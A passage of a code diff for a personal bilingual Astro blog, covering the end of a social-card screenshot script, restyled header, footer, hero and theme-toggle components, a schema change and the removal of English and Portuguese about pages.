||||||
Authorization: `Bearer ${apiToken}`,
|
|
||||||
'Content-Type': 'application/json',
|
|
||||||
},
|
|
||||||
body: JSON.stringify({
|
|
||||||
url: pageUrl,
|
|
||||||
viewport: { width: 1200, height: 630 },
|
|
||||||
gotoOptions: { waitUntil: 'networkidle0' },
|
|
||||||
}),
|
|
||||||
});
|
|
||||||
|
|
||||||
if (!res.ok) {
|
|
||||||
throw new Error(`Screenshot API returned ${res.status}: ${await res.text()}`);
|
|
||||||
}
|
|
||||||
return res.arrayBuffer();
|
|
||||||
}
|
|
||||||
|
|
||||||
async function main() {
|
|
||||||
const accountId = process.env.CF_ACCOUNT_ID;
|
|
||||||
const apiToken = process.env.CF_API_TOKEN;
|
|
||||||
if (!accountId || !apiToken) {
|
|
||||||
console.error('Error: CF_ACCOUNT_ID and CF_API_TOKEN required (put them in .env)');
|
|
||||||
process.exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
const force = process.argv.includes('--force');
|
|
||||||
const cards = listCards(readPosts());
|
|
||||||
console.log(`Found ${cards.length} cards to process\n`);
|
|
||||||
|
|
||||||
let generated = 0;
|
|
||||||
let skipped = 0;
|
|
||||||
let failed = 0;
|
|
||||||
|
|
||||||
for (let i = 0; i < cards.length; i++) {
|
|
||||||
const card = cards[i];
|
|
||||||
const outPath = join('public', card.path);
|
|
||||||
const name = card.path.replace(/^\/social-cards\//, '');
|
|
||||||
const label = `[${i + 1}/${cards.length}]`;
|
|
||||||
|
|
||||||
if (!force && existsSync(outPath)) {
|
|
||||||
console.log(`${label} ${name} — skipped (exists)`);
|
|
||||||
skipped++;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
const url = `${BASE_URL}${card.route}?${new URLSearchParams(card.params)}`;
|
|
||||||
|
|
||||||
try {
|
|
||||||
const png = await captureScreenshot(accountId, apiToken, url);
|
|
||||||
mkdirSync(dirname(outPath), { recursive: true });
|
|
||||||
writeFileSync(outPath, Buffer.from(png));
|
|
||||||
console.log(`${label} ${name} — done`);
|
|
||||||
generated++;
|
|
||||||
} catch (err) {
|
|
||||||
console.error(`${label} ${name} — failed:`, err);
|
|
||||||
failed++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stay under Browser Run rate limits.
|
|
||||||
if (i < cards.length - 1) {
|
|
||||||
await new Promise((resolve) => setTimeout(resolve, 10000));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
console.log(`\nDone. Generated: ${generated}, Skipped: ${skipped}, Failed: ${failed}`);
|
|
||||||
if (failed > 0) process.exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
main();
|
|
||||||
|
|
@ -10,54 +10,26 @@ const t = useTranslations(lang);
|
||||||
const year = new Date().getFullYear();
|
const year = new Date().getFullYear();
|
||||||
---
|
---
|
||||||
|
|
||||||
<footer class="border-t border-border/80 font-mono">
|
<footer class="border-t border-border/80">
|
||||||
<div class="mx-auto flex flex-col gap-2 px-4 py-8 items-center text-xs text-text-muted lg:flex-row lg:justify-center lg:px-6">
|
<div class="mx-auto flex max-w-3xl flex-col gap-2 px-4 py-8 text-sm text-text-muted sm:flex-row sm:items-center sm:justify-between sm:px-6">
|
||||||
<p>
|
<p>
|
||||||
© {year} <span class="font-mono text-text">gabeefranco</span> · {t('footer.rights')}
|
© {year} <span class="font-mono text-text">gabeefranco</span> · {t('footer.rights')}
|
||||||
</p>
|
</p>
|
||||||
<div class="flex items-center gap-4">
|
<div class="flex items-center gap-4">
|
||||||
|
<span class="hidden sm:inline">{t('footer.tagline')}</span>
|
||||||
<a
|
<a
|
||||||
href="https://github.com/gabeefranco"
|
href="https://github.com/gabeefranco"
|
||||||
target="_blank"
|
target="_blank"
|
||||||
rel="noopener noreferrer me"
|
rel="noopener noreferrer me"
|
||||||
class="text-primary hover:text-primary-hover underline"
|
class="transition-colors hover:text-primary"
|
||||||
data-umami-event="github-profile-footer-click"
|
|
||||||
>
|
>
|
||||||
GitHub
|
GitHub
|
||||||
</a>
|
</a>
|
||||||
<a
|
<a
|
||||||
href="https://linkedin.com/in/gabeefranco"
|
href="https://github.com/gabeefranco/gabeefran.co-blog"
|
||||||
target="_blank"
|
target="_blank"
|
||||||
rel="noopener noreferrer"
|
rel="noopener noreferrer"
|
||||||
class="text-primary hover:text-primary-hover underline"
|
class="transition-colors hover:text-primary"
|
||||||
data-umami-event="linkedin-footer-click"
|
|
||||||
>
|
|
||||||
LinkedIn
|
|
||||||
</a>
|
|
||||||
<a
|
|
||||||
href="https://x.com/gabeefranco_"
|
|
||||||
target="_blank"
|
|
||||||
rel="noopener noreferrer"
|
|
||||||
class="text-primary hover:text-primary-hover underline"
|
|
||||||
data-umami-event="twitter-footer-click"
|
|
||||||
>
|
|
||||||
X.com
|
|
||||||
</a>
|
|
||||||
<a
|
|
||||||
href="https://instagram.com/gabeefranco_"
|
|
||||||
target="_blank"
|
|
||||||
rel="noopener noreferrer"
|
|
||||||
class="text-primary hover:text-primary-hover underline"
|
|
||||||
data-umami-event="instagram-footer-click"
|
|
||||||
>
|
|
||||||
Instagram
|
|
||||||
</a>
|
|
||||||
<a
|
|
||||||
href="https://git.gabeefran.co/gabeefranco/gabeefran.co-blog"
|
|
||||||
target="_blank"
|
|
||||||
rel="noopener noreferrer"
|
|
||||||
class="text-primary hover:text-primary-hover underline"
|
|
||||||
data-umami-event="source-footer-click"
|
|
||||||
>
|
>
|
||||||
{t('footer.source')}
|
{t('footer.source')}
|
||||||
</a>
|
</a>
|
||||||
|
|
|
||||||
|
|
@ -1,12 +1,9 @@
|
||||||
---
|
---
|
||||||
import ThemeToggle from './ThemeToggle.astro';
|
import ThemeToggle from './ThemeToggle.astro';
|
||||||
import { getAboutPath } from '../lib/about';
|
|
||||||
import { getLocalizedPath, LANG_LABELS, useTranslations, type Lang } from '../lib/i18n';
|
import { getLocalizedPath, LANG_LABELS, useTranslations, type Lang } from '../lib/i18n';
|
||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
lang: Lang;
|
lang: Lang;
|
||||||
/** Where the language switch goes; defaults to swapping the /<lang> prefix. */
|
|
||||||
langSwitchHref?: string;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const { lang } = Astro.props;
|
const { lang } = Astro.props;
|
||||||
|
|
@ -16,98 +13,87 @@ const otherLang: Lang = lang === 'en' ? 'pt' : 'en';
|
||||||
const pathname = Astro.url.pathname;
|
const pathname = Astro.url.pathname;
|
||||||
const homeHref = getLocalizedPath('/', lang);
|
const homeHref = getLocalizedPath('/', lang);
|
||||||
const postsHref = getLocalizedPath('/posts', lang);
|
const postsHref = getLocalizedPath('/posts', lang);
|
||||||
const aboutHref = await getAboutPath(lang);
|
const aboutHref = getLocalizedPath('/about', lang);
|
||||||
const langSwitchHref = Astro.props.langSwitchHref ?? getLocalizedPath(pathname, otherLang);
|
const langSwitchHref = getLocalizedPath(pathname, otherLang);
|
||||||
|
|
||||||
const navLinks = [
|
const navLinks = [
|
||||||
{ href: homeHref, label: t('nav.home'), id: 'home' },
|
{ href: homeHref, label: t('nav.home') },
|
||||||
{ href: postsHref, label: t('nav.posts'), id: 'posts' },
|
{ href: postsHref, label: t('nav.posts') },
|
||||||
{ href: aboutHref, label: t('nav.about'), id: 'about' },
|
{ href: aboutHref, label: t('nav.about') },
|
||||||
];
|
];
|
||||||
|
|
||||||
function isActive(href: string): boolean {
|
function isActive(href: string): boolean {
|
||||||
if (href === homeHref) return pathname.replace(/\/$/, '') === href;
|
if (href === homeHref) return pathname === href;
|
||||||
return pathname === href || pathname.startsWith(`${href}/`);
|
return pathname === href || pathname.startsWith(`${href}/`);
|
||||||
}
|
}
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
<header class="sticky top-0 z-40 border-b border-border/80 bg-bg/85 backdrop-blur">
|
<header class="sticky top-0 z-40 border-b border-border/80 bg-bg/85 backdrop-blur">
|
||||||
<div class="flex flex-col justify-center gap-4 px-4 py-3 sm:px-6">
|
<div class="mx-auto flex max-w-3xl items-center justify-between gap-4 px-4 py-3 sm:px-6">
|
||||||
<div class="flex flex-row justify-between items-center">
|
<a href={homeHref} class="flex shrink-0 items-center gap-2.5" aria-label={t('site.name')}>
|
||||||
<a href={homeHref} class="flex hover:underline shrink-0 items-center gap-2.5" aria-label={t('site.name')} data-umami-event="logo-header-click">
|
<img src="/favicon.svg" alt="" width="32" height="32" class="size-8" />
|
||||||
<img src="/logo.png" class="h-4"/>
|
<span class="font-mono text-[15px] font-semibold tracking-tight text-text">{t('site.name')}</span>
|
||||||
<span class="font-mono text-[15px] font-semibold tracking-tight text-text">{t('site.name')}</span>
|
</a>
|
||||||
|
|
||||||
</a>
|
<div class="flex items-center gap-2">
|
||||||
<div class="ml-10 flex sm:hidden justify-end gap-3">
|
<nav class="hidden items-center gap-1 sm:flex" aria-label={t('nav.menu')}>
|
||||||
<a
|
|
||||||
href={langSwitchHref}
|
|
||||||
hreflang={otherLang}
|
|
||||||
title={t('lang.switch')}
|
|
||||||
aria-label={`${t('lang.switch')}: ${LANG_LABELS[otherLang]}`}
|
|
||||||
data-umami-event="switch-language-header-click"
|
|
||||||
class="text-accent max-w-fit font-mono text-xs sm:text-sm underline hover:cursor-pointer hover:text-accent-deep"
|
|
||||||
>
|
|
||||||
{`${t('lang.switch')}: ${LANG_LABELS[otherLang]}`}
|
|
||||||
</a>
|
|
||||||
|
|
||||||
<ThemeToggle lang={lang} />
|
|
||||||
</div>
|
|
||||||
<div class="hidden sm:flex items-center gap-2">
|
|
||||||
|
|
||||||
<nav class="flex items-center gap-1 justify-right" aria-label={t('nav.menu')}>
|
|
||||||
{navLinks.map((link) => (
|
{navLinks.map((link) => (
|
||||||
<a
|
<a
|
||||||
href={link.href}
|
href={link.href}
|
||||||
aria-current={isActive(link.href) ? 'page' : undefined}
|
aria-current={isActive(link.href) ? 'page' : undefined}
|
||||||
class:list={[
|
class:list={[
|
||||||
'px-2 py-1 text-sm font-medium font-mono underline',
|
'rounded-full px-3 py-1.5 text-sm font-medium transition-colors',
|
||||||
isActive(link.href)
|
isActive(link.href)
|
||||||
? 'text-primary hover:text-primary-hover'
|
? 'bg-primary/10 text-primary'
|
||||||
: 'text-text-muted hover:text-text',
|
: 'text-text-muted hover:bg-surface-alt hover:text-text',
|
||||||
]}
|
]}
|
||||||
data-umami-event={`${link.id}-header-click`}
|
|
||||||
>
|
|
||||||
{link.label}
|
|
||||||
</a>
|
|
||||||
))}
|
|
||||||
</nav>
|
|
||||||
<a
|
|
||||||
href={langSwitchHref}
|
|
||||||
hreflang={otherLang}
|
|
||||||
title={t('lang.switch')}
|
|
||||||
aria-label={`${t('lang.switch')}: ${LANG_LABELS[otherLang]}`}
|
|
||||||
data-umami-event="switch-language-header-click"
|
|
||||||
class="text-accent max-w-fit py-1 font-mono text-xs sm:text-sm underline hover:cursor-pointer hover:text-accent-deep "
|
|
||||||
>
|
|
||||||
{`${t('lang.switch')}: ${LANG_LABELS[otherLang]}`}
|
|
||||||
</a>
|
|
||||||
|
|
||||||
<ThemeToggle lang={lang} />
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="flex justify-end sm:hidden items-center gap-2">
|
|
||||||
<nav class="flex items-center gap-1 justify-right" aria-label={t('nav.menu')}>
|
|
||||||
{navLinks.map((link) => (
|
|
||||||
<a
|
|
||||||
href={link.href}
|
|
||||||
aria-current={isActive(link.href) ? 'page' : undefined}
|
|
||||||
class:list={[
|
|
||||||
'px-2 py-1 text-sm font-medium font-mono underline',
|
|
||||||
isActive(link.href)
|
|
||||||
? 'text-primary hover:text-primary-hover'
|
|
||||||
: 'text-text-muted hover:text-text',
|
|
||||||
]}
|
|
||||||
data-umami-event={`${link.id}-header-click`}
|
|
||||||
>
|
>
|
||||||
{link.label}
|
{link.label}
|
||||||
</a>
|
</a>
|
||||||
))}
|
))}
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
|
<a
|
||||||
|
href={langSwitchHref}
|
||||||
|
hreflang={otherLang}
|
||||||
|
title={t('lang.switch')}
|
||||||
|
aria-label={`${t('lang.switch')}: ${LANG_LABELS[otherLang]}`}
|
||||||
|
class="grid size-9 shrink-0 place-items-center rounded-full border border-border text-xs font-bold uppercase text-text-muted transition-colors hover:border-primary hover:text-primary"
|
||||||
|
>
|
||||||
|
{otherLang}
|
||||||
|
</a>
|
||||||
|
|
||||||
|
<ThemeToggle lang={lang} />
|
||||||
|
|
||||||
|
<details class="relative sm:hidden">
|
||||||
|
<summary
|
||||||
|
class="grid size-9 cursor-pointer list-none place-items-center rounded-full border border-border text-text-muted transition-colors hover:border-primary hover:text-primary"
|
||||||
|
aria-label={t('nav.menu')}
|
||||||
|
>
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" class="size-[18px]">
|
||||||
|
<path d="M4 6h16M4 12h16M4 18h16"></path>
|
||||||
|
</svg>
|
||||||
|
</summary>
|
||||||
|
<nav
|
||||||
|
class="absolute right-0 top-11 flex w-40 flex-col gap-1 rounded-xl border border-border bg-surface p-2 shadow-lg"
|
||||||
|
aria-label={t('nav.menu')}
|
||||||
|
>
|
||||||
|
{navLinks.map((link) => (
|
||||||
|
<a
|
||||||
|
href={link.href}
|
||||||
|
aria-current={isActive(link.href) ? 'page' : undefined}
|
||||||
|
class:list={[
|
||||||
|
'rounded-lg px-3 py-2 text-sm font-medium transition-colors',
|
||||||
|
isActive(link.href)
|
||||||
|
? 'bg-primary/10 text-primary'
|
||||||
|
: 'text-text-muted hover:bg-surface-alt hover:text-text',
|
||||||
|
]}
|
||||||
|
>
|
||||||
|
{link.label}
|
||||||
|
</a>
|
||||||
|
))}
|
||||||
|
</nav>
|
||||||
|
</details>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</header>
|
</header>
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,6 @@
|
||||||
---
|
---
|
||||||
import PostCard from './PostCard.astro';
|
import PostCard from './PostCard.astro';
|
||||||
import { getPostsByLang } from '../lib/posts';
|
import { getPostsByLang } from '../lib/posts';
|
||||||
import { getAboutPath } from '../lib/about';
|
|
||||||
import { getLocalizedPath, useTranslations, type Lang } from '../lib/i18n';
|
import { getLocalizedPath, useTranslations, type Lang } from '../lib/i18n';
|
||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
|
|
@ -13,56 +12,49 @@ const t = useTranslations(lang);
|
||||||
const posts = await getPostsByLang(lang);
|
const posts = await getPostsByLang(lang);
|
||||||
const recentPosts = posts.slice(0, 3);
|
const recentPosts = posts.slice(0, 3);
|
||||||
const postsHref = getLocalizedPath('/posts', lang);
|
const postsHref = getLocalizedPath('/posts', lang);
|
||||||
const aboutHref = await getAboutPath(lang);
|
const aboutHref = getLocalizedPath('/about', lang);
|
||||||
---
|
---
|
||||||
|
|
||||||
<section class="mx-10 my-10 flex flex-col gap-5 font-mono">
|
<section class="mx-auto max-w-3xl px-4 pb-4 pt-14 sm:px-6 sm:pt-20">
|
||||||
<div class="flex flex-col gap-2">
|
<div class="flex flex-col items-start gap-8 sm:flex-row sm:items-center">
|
||||||
<h1 class="text-text text-2xl">{t('hero.title')}</h1>
|
<img
|
||||||
<h2 class="text-text text-lg">{t('hero.subtitle')}</h2>
|
src="/logo.png"
|
||||||
|
alt=""
|
||||||
|
width="867"
|
||||||
|
height="458"
|
||||||
|
class="w-40 shrink-0 drop-shadow-sm sm:w-52"
|
||||||
|
/>
|
||||||
|
<div>
|
||||||
|
<p class="text-sm font-semibold uppercase tracking-wide text-primary">{t('hero.kicker')}</p>
|
||||||
|
<h1 class="mt-2 text-3xl font-bold tracking-tight text-text sm:text-4xl">{t('hero.title')}</h1>
|
||||||
|
<p class="mt-4 max-w-xl text-lg leading-relaxed text-text-muted">{t('hero.subtitle')}</p>
|
||||||
|
<div class="mt-6 flex flex-wrap gap-3">
|
||||||
|
<a
|
||||||
|
href={postsHref}
|
||||||
|
class="rounded-full bg-primary px-5 py-2.5 text-sm font-semibold text-white transition-colors hover:bg-primary-hover"
|
||||||
|
>
|
||||||
|
{t('hero.cta.posts')}
|
||||||
|
</a>
|
||||||
|
<a
|
||||||
|
href={aboutHref}
|
||||||
|
class="rounded-full border border-border px-5 py-2.5 text-sm font-semibold text-text transition-colors hover:border-primary hover:text-primary"
|
||||||
|
>
|
||||||
|
{t('hero.cta.about')}
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
<!-- <section class="mx-auto max-w-3xl px-4 pb-4 pt-14 sm:px-6 sm:pt-20 font-mono"> -->
|
<section class="mx-auto max-w-3xl px-4 py-12 sm:px-6">
|
||||||
<!-- <div class="flex flex-col items-start gap-8 sm:flex-row sm:items-center"> -->
|
|
||||||
<!-- <img -->
|
|
||||||
<!-- src="/logo.png" -->
|
|
||||||
<!-- alt="" -->
|
|
||||||
<!-- width="867" -->
|
|
||||||
<!-- height="458" -->
|
|
||||||
<!-- class="w-40 shrink-0 drop-shadow-sm sm:w-52" -->
|
|
||||||
<!-- /> -->
|
|
||||||
<!-- <div> -->
|
|
||||||
<!-- <p class="text-sm font-semibold uppercase tracking-wide text-primary">{t('hero.kicker')}</p> -->
|
|
||||||
<!-- <h1 class="mt-2 text-3xl font-bold tracking-tight text-text sm:text-4xl">{t('hero.title')}</h1> -->
|
|
||||||
<!-- <p class="mt-4 max-w-xl text-lg leading-relaxed text-text-muted">{t('hero.subtitle')}</p> -->
|
|
||||||
<!-- <div class="mt-6 flex flex-wrap gap-5"> -->
|
|
||||||
<!-- <a -->
|
|
||||||
<!-- href={postsHref} -->
|
|
||||||
<!-- class="text-primary hover:underline font-bold px-2 py-1 bg-primary/10" -->
|
|
||||||
<!-- > -->
|
|
||||||
<!-- {t('hero.cta.posts')} -->
|
|
||||||
<!-- </a> -->
|
|
||||||
<!-- <a -->
|
|
||||||
<!-- href={aboutHref} -->
|
|
||||||
<!-- class="text-text hover:underline font-bold px-2 py-1 bg-text/5" -->
|
|
||||||
<!-- > -->
|
|
||||||
<!-- {t('hero.cta.about')} -->
|
|
||||||
<!-- </a> -->
|
|
||||||
<!-- </div> -->
|
|
||||||
<!-- </div> -->
|
|
||||||
<!-- </div> -->
|
|
||||||
<!-- </section> -->
|
|
||||||
|
|
||||||
<section class="mx-10 font-mono">
|
|
||||||
<div class="flex items-baseline justify-between gap-4">
|
<div class="flex items-baseline justify-between gap-4">
|
||||||
<div>
|
<div>
|
||||||
<h2 class="text-xl font-semibold text-text">{t('home.recent')}</h2>
|
<h2 class="text-xl font-semibold text-text">{t('home.recent')}</h2>
|
||||||
<p class="mt-1 text-sm text-text-muted mb-2">{t('home.recent.subtitle')}</p>
|
<p class="mt-1 text-sm text-text-muted">{t('home.recent.subtitle')}</p>
|
||||||
<a href={postsHref} class="shrink-0 text-sm font-medium text-primary hover:underline">
|
|
||||||
{t('home.viewAll')} →
|
|
||||||
</a>
|
|
||||||
</div>
|
</div>
|
||||||
|
<a href={postsHref} class="shrink-0 text-sm font-medium text-primary hover:underline">
|
||||||
|
{t('home.viewAll')} →
|
||||||
|
</a>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{recentPosts.length > 0 ? (
|
{recentPosts.length > 0 ? (
|
||||||
|
|
|
||||||
|
|
@ -13,12 +13,12 @@ const href = getLocalizedPath(`/posts/${slugOf(post)}`, lang);
|
||||||
const tagsHref = (tag: string) => getLocalizedPath(`/tags/${tag}`, lang);
|
const tagsHref = (tag: string) => getLocalizedPath(`/tags/${tag}`, lang);
|
||||||
---
|
---
|
||||||
|
|
||||||
<article class="group border-b border-border py-6 first:pt-0 last:border-b-0 font-prose">
|
<article class="group border-b border-border py-6 first:pt-0 last:border-b-0">
|
||||||
<a href={href} class="block">
|
<a href={href} class="block">
|
||||||
<time datetime={post.data.pubDate.toISOString()} class="text-xs font-medium uppercase tracking-wide text-text-muted">
|
<time datetime={post.data.pubDate.toISOString()} class="text-xs font-medium uppercase tracking-wide text-text-muted">
|
||||||
{formatDate(post.data.pubDate, lang)}
|
{formatDate(post.data.pubDate, lang)}
|
||||||
</time>
|
</time>
|
||||||
<h3 class="mt-1.5 text-xl font-semibold text-text group-hover:text-primary group-hover:underline">
|
<h3 class="mt-1.5 text-xl font-semibold text-text transition-colors group-hover:text-primary">
|
||||||
{post.data.title}
|
{post.data.title}
|
||||||
</h3>
|
</h3>
|
||||||
<p class="mt-1.5 text-[15px] leading-relaxed text-text-muted">{post.data.description}</p>
|
<p class="mt-1.5 text-[15px] leading-relaxed text-text-muted">{post.data.description}</p>
|
||||||
|
|
@ -28,7 +28,7 @@ const tagsHref = (tag: string) => getLocalizedPath(`/tags/${tag}`, lang);
|
||||||
{post.data.tags.map((tag) => (
|
{post.data.tags.map((tag) => (
|
||||||
<a
|
<a
|
||||||
href={tagsHref(tag)}
|
href={tagsHref(tag)}
|
||||||
class="text-text-muted px-1 py-0.5 text-sm hover:text-accent underline"
|
class="rounded-full bg-surface-alt px-2.5 py-1 text-xs font-medium text-text-muted transition-colors hover:bg-accent/15 hover:text-accent"
|
||||||
>
|
>
|
||||||
#{tag}
|
#{tag}
|
||||||
</a>
|
</a>
|
||||||
|
|
|
||||||
|
|
@ -15,19 +15,19 @@ const posts = tag ? allPosts.filter((p) => p.data.tags.includes(tag)) : allPosts
|
||||||
const postsHref = getLocalizedPath('/posts', lang);
|
const postsHref = getLocalizedPath('/posts', lang);
|
||||||
---
|
---
|
||||||
|
|
||||||
<section class="mx-10 mt-10">
|
<section class="mx-auto max-w-3xl px-4 py-12 sm:px-6">
|
||||||
{tag ? (
|
{tag ? (
|
||||||
<>
|
<>
|
||||||
<p class="text-sm font-mono font-medium text-text-muted">{t('posts.filteredBy')}</p>
|
<p class="text-sm font-medium text-text-muted">{t('posts.filteredBy')}</p>
|
||||||
<h1 class="mt-1 font-mono text-3xl font-bold tracking-tight text-text">#{tag}</h1>
|
<h1 class="mt-1 text-3xl font-bold tracking-tight text-text">#{tag}</h1>
|
||||||
<a href={postsHref} class="font-mono mt-2 inline-block text-sm font-medium text-primary hover:underline">
|
<a href={postsHref} class="mt-2 inline-block text-sm font-medium text-primary hover:underline">
|
||||||
{t('posts.clearFilter')}
|
{t('posts.clearFilter')}
|
||||||
</a>
|
</a>
|
||||||
</>
|
</>
|
||||||
) : (
|
) : (
|
||||||
<>
|
<>
|
||||||
<h1 class="font-mono text-3xl font-bold tracking-tight text-text">{t('posts.title')}</h1>
|
<h1 class="text-3xl font-bold tracking-tight text-text">{t('posts.title')}</h1>
|
||||||
<p class="font-mono mt-2 text-text-muted">{t('posts.subtitle')}</p>
|
<p class="mt-2 text-text-muted">{t('posts.subtitle')}</p>
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -11,27 +11,61 @@ const t = useTranslations(lang);
|
||||||
---
|
---
|
||||||
|
|
||||||
<button
|
<button
|
||||||
|
id="theme-toggle"
|
||||||
type="button"
|
type="button"
|
||||||
class="theme-toggle text-accent sm:ml-2 font-mono text-xs sm:text-sm underline hover:cursor-pointer hover:text-accent-deep"
|
|
||||||
aria-label={t('theme.switch')}
|
aria-label={t('theme.switch')}
|
||||||
data-umami-event="toggle-theme-header-click"
|
|
||||||
title={t('theme.switch')}
|
title={t('theme.switch')}
|
||||||
|
class="grid size-9 shrink-0 place-items-center rounded-full border border-border text-text-muted transition-colors hover:border-primary hover:text-primary"
|
||||||
>
|
>
|
||||||
{t('theme.switch')}
|
<svg
|
||||||
|
id="theme-toggle-sun"
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
class="hidden size-[18px]"
|
||||||
|
>
|
||||||
|
<circle cx="12" cy="12" r="4"></circle>
|
||||||
|
<path d="M12 2v2M12 20v2M4.93 4.93l1.41 1.41M17.66 17.66l1.41 1.41M2 12h2M20 12h2M6.34 17.66l-1.41 1.41M19.07 4.93l-1.41 1.41"
|
||||||
|
></path>
|
||||||
|
</svg>
|
||||||
|
<svg
|
||||||
|
id="theme-toggle-moon"
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
class="hidden size-[18px]"
|
||||||
|
>
|
||||||
|
<path d="M20 14.5A8.5 8.5 0 1 1 9.5 4a6.5 6.5 0 0 0 10.5 10.5Z"></path>
|
||||||
|
</svg>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
<script>
|
<script is:inline>
|
||||||
function init() {
|
(function () {
|
||||||
const buttons = document.querySelectorAll('.theme-toggle');
|
const btn = document.getElementById('theme-toggle');
|
||||||
buttons.forEach((btn) => {
|
const sun = document.getElementById('theme-toggle-sun');
|
||||||
btn.addEventListener('click', function () {
|
const moon = document.getElementById('theme-toggle-moon');
|
||||||
const isDark = document.documentElement.classList.toggle('dark');
|
if (!btn || !sun || !moon) return;
|
||||||
localStorage.setItem('theme', isDark ? 'dark' : 'light');
|
|
||||||
});
|
function sync() {
|
||||||
});
|
const isDark = document.documentElement.classList.contains('dark');
|
||||||
|
sun.classList.toggle('hidden', !isDark);
|
||||||
|
moon.classList.toggle('hidden', isDark);
|
||||||
}
|
}
|
||||||
|
|
||||||
init();
|
btn.addEventListener('click', function () {
|
||||||
|
const isDark = document.documentElement.classList.toggle('dark');
|
||||||
|
localStorage.setItem('theme', isDark ? 'dark' : 'light');
|
||||||
|
sync();
|
||||||
|
});
|
||||||
|
|
||||||
document.addEventListener('astro:after-swap', init);
|
sync();
|
||||||
|
})();
|
||||||
</script>
|
</script>
|
||||||
|
|
|
||||||
|
|
@ -9,23 +9,11 @@ const posts = defineCollection({
|
||||||
schema: z.object({
|
schema: z.object({
|
||||||
title: z.string(),
|
title: z.string(),
|
||||||
description: z.string(),
|
description: z.string(),
|
||||||
language: z.enum(['en', 'pt']),
|
|
||||||
pubDate: z.coerce.date(),
|
pubDate: z.coerce.date(),
|
||||||
slug: z.string(),
|
|
||||||
updatedDate: z.coerce.date().optional(),
|
updatedDate: z.coerce.date().optional(),
|
||||||
tags: z.array(z.string()).default([]),
|
tags: z.array(z.string()).default([]),
|
||||||
draft: z.boolean().default(false),
|
draft: z.boolean().default(false),
|
||||||
}),
|
}),
|
||||||
});
|
});
|
||||||
|
|
||||||
// The about page, one file per language: src/content/about/<lang>.md.
|
export const collections = { posts };
|
||||||
// `slug` is the URL segment for that language (about, sobre).
|
|
||||||
const about = defineCollection({
|
|
||||||
loader: glob({ pattern: '*.md', base: './src/content/about' }),
|
|
||||||
schema: z.object({
|
|
||||||
language: z.enum(['en', 'pt']),
|
|
||||||
slug: z.string(),
|
|
||||||
}),
|
|
||||||
});
|
|
||||||
|
|
||||||
export const collections = { posts, about };
|
|
||||||
|
|
|
||||||
|
|
@ -1,12 +0,0 @@
|
||||||
---
|
|
||||||
language: en
|
|
||||||
slug: about
|
|
||||||
---
|
|
||||||
|
|
||||||
Hi, I'm Gabe — Gabriel Franco. I'm a computer science student at PUCRS (Pontifícia Universidade Católica do Rio Grande do Sul), and this blog is where I write down the things I'm learning and thinking about along the way.
|
|
||||||
|
|
||||||
I care a lot about computer science as a field, not just as a set of tools to ship products with. I have a fairly specific way of doing things: I'd rather understand a system properly than memorize the steps to make it work, and I tend to slow down on purpose to figure out what's actually happening under the hood — in a compiler, an operating system, a language runtime, whatever it is. That habit shapes most of what ends up on this blog.
|
|
||||||
|
|
||||||
I'm also genuinely interested in the history of the open source movement: the people, the arguments, and the decisions that shaped the software we all rely on. Figures like Linus Torvalds and projects like GNU come up often in what I read and write about, not as trivia, but because understanding where a tool came from usually explains a lot about how and why it works the way it does today.
|
|
||||||
|
|
||||||
This site is bilingual, in English and in Portuguese, and every post exists in both languages. Thanks for stopping by.
|
|
||||||
|
|
@ -1,12 +0,0 @@
|
||||||
---
|
|
||||||
language: pt
|
|
||||||
slug: sobre
|
|
||||||
---
|
|
||||||
|
|
||||||
Olá, eu sou o Gabe — Gabriel Franco. Sou estudante de ciência da computação na PUCRS (Pontifícia Universidade Católica do Rio Grande do Sul), e este blog é onde registro as coisas que vou aprendendo e pensando pelo caminho.
|
|
||||||
|
|
||||||
Eu me importo bastante com ciência da computação como área, não só como um conjunto de ferramentas para lançar produtos. Tenho um jeito bem específico de fazer as coisas: prefiro entender um sistema de verdade do que decorar os passos para fazê-lo funcionar, e costumo desacelerar de propósito para descobrir o que realmente está acontecendo por baixo dos panos — em um compilador, em um sistema operacional, no runtime de uma linguagem, seja lá o que for. Esse hábito molda a maior parte do que acaba virando post aqui.
|
|
||||||
|
|
||||||
Também tenho um interesse genuíno pela história do movimento open source: as pessoas, os debates e as decisões que moldaram o software do qual todos dependemos. Figuras como Linus Torvalds e projetos como o GNU aparecem com frequência no que leio e escrevo, não como curiosidade, mas porque entender de onde uma ferramenta veio costuma explicar bastante sobre como e por que ela funciona do jeito que funciona hoje.
|
|
||||||
|
|
||||||
Este site é bilíngue, em inglês e em português, e todo post existe nos dois idiomas. Obrigado pela visita.
|
|
||||||
|
|
@ -1,17 +1,8 @@
|
||||||
---
|
---
|
||||||
title: "This blog's Hello World (or whatever you want to call this site)"
|
title: "Hello, world"
|
||||||
